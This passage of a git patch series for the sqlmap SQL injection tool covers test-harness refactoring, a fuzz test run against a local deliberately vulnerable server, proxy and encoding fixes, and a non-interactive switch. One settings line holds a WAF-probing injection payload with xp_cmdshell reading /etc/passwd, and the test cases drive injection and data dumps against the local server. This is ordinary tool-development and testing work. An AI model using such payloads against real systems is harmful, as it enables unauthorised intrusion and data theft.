TYPE) @@ -486,6 +486,9 @@ GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" # Prefix for configuration overriding environment variables SQLMAP_ENVIRONMENT_PREFIX = "SQLMAP_" +# General OS environment variables that can be used for setting proxy address +PROXY_ENVIRONMENT_VARIABLES = ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY") + # Turn off resume console info to avoid potential slowdowns TURN_OFF_RESUME_INFO_LIMIT = 20 From 0e9dd9b0bed0eaa6ef81c7ba5eb83ed232e0a8a7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 7 Jan 2020 23:49:45 +0100 Subject: [PATCH 070/159] Some testing stuff --- extra/vulnserver/vulnserver.py | 2 +- lib/core/optiondict.py | 2 - lib/core/settings.py | 2 +- lib/core/testing.py | 185 +++++++++++---------------------- lib/parse/cmdline.py | 7 +- sqlmap.py | 3 + 6 files changed, 66 insertions(+), 135 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index d14dbc94a..4c6d2f4f5 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -191,7 +191,7 @@ class ReqHandler(BaseHTTPRequestHandler): length = int(self.headers.get("Content-length", 0)) if length: data = self.rfile.read(length) - data = unquote_plus(data.decode(UNICODE_ENCODING)) + data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore")) self.data = data self.do_REQUEST() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 7273718e6..472690076 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -252,8 +252,6 @@ optDict = { "forceDns": "boolean", "murphyRate": "integer", "smokeTest": "boolean", - "stopFail": "boolean", - "runCase": "string", }, "API": { diff --git a/lib/core/settings.py b/lib/core/settings.py index 4dc09a3e5..b27db5e65 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.11" +VERSION = "1.4.1.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 85fd6af79..730de1fa6 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -7,51 +7,33 @@ See the file 'LICENSE' for copying permission from __future__ import division -import codecs import doctest import logging import os import random import re -import shutil import socket import sqlite3 import sys import tempfile import threading import time -import traceback from extra.vulnserver import vulnserver -from lib.controller.controller import start from lib.core.common import clearColors from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import randomInt +from lib.core.common import randomStr from lib.core.common import shellExec from lib.core.compat import round from lib.core.compat import xrange from lib.core.convert import encodeBase64 -from lib.core.convert import getUnicode -from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries -from lib.core.enums import MKSTEMP_PREFIX -from lib.core.exception import SqlmapBaseException -from lib.core.log import LOGGER_HANDLER -from lib.core.option import init -from lib.core.option import initOptions -from lib.core.optiondict import optDict -from lib.core.settings import UNICODE_ENCODING -from lib.parse.cmdline import cmdLineParser -class Failures(object): - failedItems = None - failedParseOn = None - failedTraceBack = None - -_failures = Failures() _rand = 0 def vulnTest(): @@ -154,6 +136,63 @@ def vulnTest(): return retVal +def fuzzTest(): + count = 0 + address, port = "127.0.0.10", random.randint(1025, 65535) + + def _thread(): + vulnserver.init(quiet=True) + vulnserver.run(address=address, port=port) + + thread = threading.Thread(target=_thread) + thread.daemon = True + thread.start() + + while True: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + s.connect((address, port)) + break + except: + time.sleep(1) + + handle, config = tempfile.mkstemp(suffix=".conf") + os.close(handle) + + url = "http://%s:%d/?id=1" % (address, port) + + content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url) + open(config, "w+").write(content) + + while True: + lines = content.split("\n") + + for i in xrange(20): + j = random.randint(0, len(lines) - 1) + if lines[j].strip().endswith('='): + lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0] + + k = random.randint(0, len(lines) - 1) + if '=' in lines[k]: + lines[k] += chr(random.randint(0, 255)) + + open(config, "w+").write("\n".join(lines)) + + cmd = "%s %s -c %s --batch --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0]) + output = shellExec(cmd) + + if "Traceback" in output: + dataToStdout("---\n\n$ %s\n" % cmd) + dataToStdout("%s---\n" % clearColors(output)) + else: + handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf") + os.close(handle) + open(config, "w+").write("\n".join(lines)) + + dataToStdout("\r%d\r" % count) + + count += 1 + def dirtyPatchRandom(): """ Unifying random generated data across different Python versions @@ -274,109 +313,3 @@ def smokeTest(): logger.error("smoke test final result: FAILED") return retVal - -def adjustValueType(tagName, value): - for family in optDict: - for name, type_ in optDict[family].items(): - if type(type_) == tuple: - type_ = type_[0] - if tagName == name: - if type_ == "boolean": - value = (value == "True") - elif type_ == "integer": - value = int(value) - elif type_ == "float": - value = float(value) - break - return value - -def initCase(switches, count): - _failures.failedItems = [] - _failures.failedParseOn = None - _failures.failedTraceBack = None - - paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count)) - paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump") - paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files") - - logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH) - - LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-") - - cmdLineOptions = cmdLineParser() - - if switches: - for key, value in switches.items(): - if key in cmdLineOptions.__dict__: - cmdLineOptions.__dict__[key] = value - - initOptions(cmdLineOptions, True) - init() - -def cleanCase(): - shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True) - -def runCase(parse): - retVal = True - handled_exception = None - unhandled_exception = None - result = False - console = "" - - try: - result = start() - except KeyboardInterrupt: - pass - except SqlmapBaseException as ex: - handled_exception = ex - except Exception as ex: - unhandled_exception = ex - finally: - sys.stdout.seek(0) - console = sys.stdout.read() - LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__ - - if unhandled_exception: - _failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc()) - retVal = None - elif handled_exception: - _failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc()) - retVal = None - elif result is False: # this means no SQL injection has been detected - if None, ignore - retVal = False - - console = getUnicode(console, encoding=sys.stdin.encoding) - - if parse and retVal: - with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f: - content = f.read() - - for item, parse_from_console_output in parse: - parse_on = console if parse_from_console_output else content - - if item.startswith("r'") and item.endswith("'"): - if not re.search(item[2:-1], parse_on, re.DOTALL): - retVal = None - _failures.failedItems.append(item) - - elif item not in parse_on: - retVal = None - _failures.failedItems.append(item) - - if _failures.failedItems: - _failures.failedParseOn = console - - elif retVal is False: - _failures.failedParseOn = console - - return retVal - -def replaceVars(item, vars_): - retVal = item - - if item and vars_: - for var in re.findall(r"\$\{([^}]+)\}", item): - if var in vars_: - retVal = retVal.replace("${%s}" % var, vars_[var]) - - return retVal diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 8bf6a8188..09c963d8f 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -790,10 +790,7 @@ def cmdLineParser(argv=None): parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) - parser.add_argument("--stop-fail", dest="stopFail", action="store_true", - help=SUPPRESS) - - parser.add_argument("--run-case", dest="runCase", + parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true", help=SUPPRESS) # API options @@ -1002,7 +999,7 @@ def cmdLineParser(argv=None): if args.dummy: args.url = args.url or DUMMY_URL - if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): + if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)): errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). " errMsg += "Use -h for basic and -hh for advanced help\n" parser.error(errMsg) diff --git a/sqlmap.py b/sqlmap.py index 347460cc5..8269e665e 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -173,6 +173,9 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.fuzzTest: + from lib.core.testing import fuzzTest + fuzzTest() else: from lib.controller.controller import start if conf.profile and six.PY2: From dbebb34bc8148b969fb3ff44a5efa36b86ee3053 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 8 Jan 2020 00:01:15 +0100 Subject: [PATCH 071/159] Trivial patch --- lib/core/settings.py | 2 +- lib/core/testing.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b27db5e65..f83d3942c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.12" +VERSION = "1.4.1.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 730de1fa6..d26dc964c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -184,11 +184,11 @@ def fuzzTest(): if "Traceback" in output: dataToStdout("---\n\n$ %s\n" % cmd) dataToStdout("%s---\n" % clearColors(output)) - else: + handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf") os.close(handle) open(config, "w+").write("\n".join(lines)) - + else: dataToStdout("\r%d\r" % count) count += 1 From 239e4d792775f6c92c0a5f39f69fdf7f647128f2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 8 Jan 2020 00:11:13 +0100 Subject: [PATCH 072/159] Minor patch --- lib/core/convert.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 4eadbf968..a92f08279 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -300,7 +300,7 @@ def getUnicode(value, encoding=None, noneToNull=False): for candidate in candidates: try: return six.text_type(value, candidate) - except UnicodeDecodeError: + except (UnicodeDecodeError, LookupError): pass try: diff --git a/lib/core/settings.py b/lib/core/settings.py index f83d3942c..bd5690b56 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.13" +VERSION = "1.4.1.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From c95c3702544d0bb6179dac136843a2233ae90fa1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 8 Jan 2020 10:37:59 +0100 Subject: [PATCH 073/159] Couple of patches --- lib/core/common.py | 2 +- lib/core/option.py | 9 +++++++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- lib/parse/cmdline.py | 3 +++ 5 files changed, 13 insertions(+), 5 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ccb4b3fb4..1c7e98f1d 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1080,7 +1080,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False): logger.debug(debugMsg) if retVal is None: - if checkBatch and conf.get("batch") or conf.get("api"): + if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")): if isListLike(default): options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default) elif default: diff --git a/lib/core/option.py b/lib/core/option.py index 307c1304e..d21f1e299 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -330,8 +330,13 @@ def _setRequestFromFile(): infoMsg = "parsing second-order HTTP request from '%s'" % conf.secondReq logger.info(infoMsg) - target = next(parseRequestFile(conf.secondReq, False)) - kb.secondReq = target + try: + target = next(parseRequestFile(conf.secondReq, False)) + kb.secondReq = target + except StopIteration: + errMsg = "specified second-order HTTP request file '%s' " % conf.secondReq + errMsg += "does not contain a valid HTTP request" + raise SqlmapDataException(errMsg) def _setCrawler(): if not conf.crawlDepth: diff --git a/lib/core/settings.py b/lib/core/settings.py index bd5690b56..4356b5d40 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.14" +VERSION = "1.4.1.15" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index d26dc964c..980fa16dc 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -178,7 +178,7 @@ def fuzzTest(): open(config, "w+").write("\n".join(lines)) - cmd = "%s %s -c %s --batch --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0]) + cmd = "%s %s -c %s --non-interactive --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0]) output = shellExec(cmd) if "Traceback" in output: diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 09c963d8f..91f871db9 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -781,6 +781,9 @@ def cmdLineParser(argv=None): parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) + parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", + help=SUPPRESS) + parser.add_argument("--gui", dest="gui", action="store_true", help=SUPPRESS) From 89aff21fb672ccec8a5f76084d9ec5255017e737 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 8 Jan 2020 10:43:11 +0100 Subject: [PATCH 074/159] Minor patch --- lib/core/settings.py | 2 +- lib/core/testing.py | 6 +++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 4356b5d40..1a3d92ac9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.15" +VERSION = "1.4.1.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 980fa16dc..95c7be521 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -169,6 +169,10 @@ def fuzzTest(): for i in xrange(20): j = random.randint(0, len(lines) - 1) + + if any(_ in lines[j] for _ in ("googleDork",)): + continue + if lines[j].strip().endswith('='): lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0] @@ -178,7 +182,7 @@ def fuzzTest(): open(config, "w+").write("\n".join(lines)) - cmd = "%s %s -c %s --non-interactive --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0]) + cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0]) output = shellExec(cmd) if "Traceback" in output: From e7dd7e2d489aa6c893d856d8741a4f1d4dce6122 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 8 Jan 2020 10:53:08 +0100 Subject: [PATCH 075/159] Trivial refactoring --- lib/core/option.py | 3 ++- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index d21f1e299..3400e1612 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -121,6 +121,7 @@ from lib.core.settings import MAX_NUMBER_OF_THREADS from lib.core.settings import NULL from lib.core.settings import PARAMETER_SPLITTING_REGEX from lib.core.settings import PRECONNECT_CANDIDATE_TIMEOUT +from lib.core.settings import PROXY_ENVIRONMENT_VARIABLES from lib.core.settings import SOCKET_PRE_CONNECT_QUEUE_SIZE from lib.core.settings import SQLMAP_ENVIRONMENT_PREFIX from lib.core.settings import SUPPORTED_DBMS @@ -1764,7 +1765,7 @@ def _cleanupOptions(): conf.binaryFields = conf.binaryFields.replace(" ", "") conf.binaryFields = re.split(PARAMETER_SPLITTING_REGEX, conf.binaryFields) - envProxy = max(os.environ.get(_, "") for _ in ("all_proxy", "ALL_PROXY", "http_proxy", "HTTP_PROXY", "https_proxy", "HTTPS_PROXY")) + envProxy = max(os.environ.get(_, "") for _ in PROXY_ENVIRONMENT_VARIABLES) if re.search(r"\A(https?|socks[45])://.+:\d+\Z", envProxy) and conf.proxy is None: debugMsg = "using environment proxy '%s'" % envProxy logger.debug(debugMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index 1a3d92ac9..af08009be 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.16" +VERSION = "1.4.1.17" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ab203c1ec5316536113b69842426df899d38b268 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Jan 2020 11:25:09 +0100 Subject: [PATCH 076/159] Couple of fixes (--check-internet) and updates --- lib/controller/controller.py | 18 ++++++++++++++---- lib/core/settings.py | 6 +++--- lib/core/testing.py | 6 +++++- 3 files changed, 22 insertions(+), 8 deletions(-) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index c9a5b7e87..57414dcfb 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -58,6 +58,7 @@ from lib.core.enums import NOTE from lib.core.enums import PAYLOAD from lib.core.enums import PLACE from lib.core.exception import SqlmapBaseException +from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapSilentQuitException @@ -307,11 +308,20 @@ def start(): warnMsg = "[%s] [WARNING] no connection detected" % time.strftime("%X") dataToStdout(warnMsg) - while not checkInternet(): - dataToStdout('.') - time.sleep(5) + valid = False + for _ in xrange(conf.retries): + if checkInternet(): + valid = True + break + else: + dataToStdout('.') + time.sleep(5) - dataToStdout("\n") + if not valid: + errMsg = "please check your Internet connection and rerun" + raise SqlmapConnectionException(errMsg) + else: + dataToStdout("\n") conf.url = targetUrl conf.method = targetMethod.upper().strip() if targetMethod else targetMethod diff --git a/lib/core/settings.py b/lib/core/settings.py index af08009be..ea922d9d2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.17" +VERSION = "1.4.1.18" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -565,10 +565,10 @@ LAST_UPDATE_NAGGING_DAYS = 60 MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05 # Generic address for checking the Internet connection while using switch --check-internet -CHECK_INTERNET_ADDRESS = "https://ipinfo.io/" +CHECK_INTERNET_ADDRESS = "https://ipinfo.io/json" # Value to look for in response to CHECK_INTERNET_ADDRESS -CHECK_INTERNET_VALUE = "IP Address Details" +CHECK_INTERNET_VALUE = '"ip":' # Payload used for checking of existence of WAF/IPS (dummier the better) IPS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#" diff --git a/lib/core/testing.py b/lib/core/testing.py index 95c7be521..8e9640cb8 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -42,8 +42,11 @@ def vulnTest(): """ TESTS = ( + ("-h", ("to see full list of options run with '-hh'",)), + ("-u --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")), (u"-c --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'",)), - (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther", (u": '\u0161u\u0107uraj'",)), + (u"-u --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)), + ("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")), ("--list-tampers", ("between", "MySQL", "xforwardedfor")), ("-r --flush-session -v 5", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar")), ("-l --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")), @@ -65,6 +68,7 @@ def vulnTest(): ("-u '&query=*' --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d --flush-session --dump -T users --binary-fields=name --where \"id=3\"", ("7775", "179ad45c6ce2cb97cf1029e212046e81 (testpass)",)), ("-d --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=5; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "5, foobar, nameisnull", "[*] 987654321",)), + ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) retVal = True From 71b33e59564c6eca7212809e5ce7aea50302162d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Jan 2020 11:36:19 +0100 Subject: [PATCH 077/159] Minor patch --- lib/core/settings.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ea922d9d2..5695adc83 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.18" +VERSION = "1.4.1.19" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -564,8 +564,8 @@ LAST_UPDATE_NAGGING_DAYS = 60 # Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05 -# Generic address for checking the Internet connection while using switch --check-internet -CHECK_INTERNET_ADDRESS = "https://ipinfo.io/json" +# Generic address for checking the Internet connection while using switch --check-internet (Note: https version does not work for Python < 2.7.9) +CHECK_INTERNET_ADDRESS = "http://ipinfo.io/json" # Value to look for in response to CHECK_INTERNET_ADDRESS CHECK_INTERNET_VALUE = '"ip":' From eb3a3b4825e2593657602f3136c37d0b598e0bf8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Jan 2020 11:59:50 +0100 Subject: [PATCH 078/159] Patch regarding #4066 --- lib/core/convert.py | 7 +++++-- lib/core/settings.py | 2 +- plugins/dbms/mysql/syntax.py | 2 +- 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index a92f08279..71afeb0ae 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -227,7 +227,7 @@ def encodeBase64(value, binary=True, encoding=None): return retVal -def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True): +def getBytes(value, encoding=None, errors="strict", unsafe=True): """ Returns byte representation of provided Unicode value @@ -237,9 +237,12 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True): retVal = value + if encoding is None: + encoding = conf.encoding or UNICODE_ENCODING + try: codecs.lookup(encoding) - except LookupError: + except (LookupError, TypeError): encoding = UNICODE_ENCODING if isinstance(value, six.text_type): diff --git a/lib/core/settings.py b/lib/core/settings.py index 5695adc83..d86e27bda 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.19" +VERSION = "1.4.1.20" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 8d135c93e..b9b841828 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -26,6 +26,6 @@ class Syntax(GenericSyntax): if all(_ < 128 for _ in getOrds(value)): return "0x%s" % getUnicode(binascii.hexlify(getBytes(value))) else: - return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value))) + return "CONVERT(0x%s USING utf8)" % getUnicode(binascii.hexlify(getBytes(value, "utf8"))) return Syntax._escape(expression, quote, escaper) From 14005f476de9063be6425fabe8f28093777987c2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 9 Jan 2020 13:19:54 +0100 Subject: [PATCH 079/159] Minor bug fix --- lib/core/gui.py | 6 +++++- lib/core/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/gui.py b/lib/core/gui.py index 85885b791..63c62f2e1 100644 --- a/lib/core/gui.py +++ b/lib/core/gui.py @@ -29,6 +29,7 @@ from lib.core.settings import VERSION_STRING from lib.core.settings import WIKI_PAGE from thirdparty.six.moves import queue as _queue +alive = None line = "" process = None queue = None @@ -186,7 +187,7 @@ def runGui(parser): center(top) - while alive: + while True: line = "" try: # line = queue.get_nowait() @@ -196,6 +197,9 @@ def runGui(parser): text.see(_tkinter.END) text.update_idletasks() + if not alive: + break + menubar = _tkinter.Menu(window) filemenu = _tkinter.Menu(menubar, tearoff=0) diff --git a/lib/core/settings.py b/lib/core/settings.py index d86e27bda..3bee73c2d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.20" +VERSION = "1.4.1.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e37c22793b2f824c191f32c99e9b97a1cf3d6bf7 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 10 Jan 2020 11:09:20 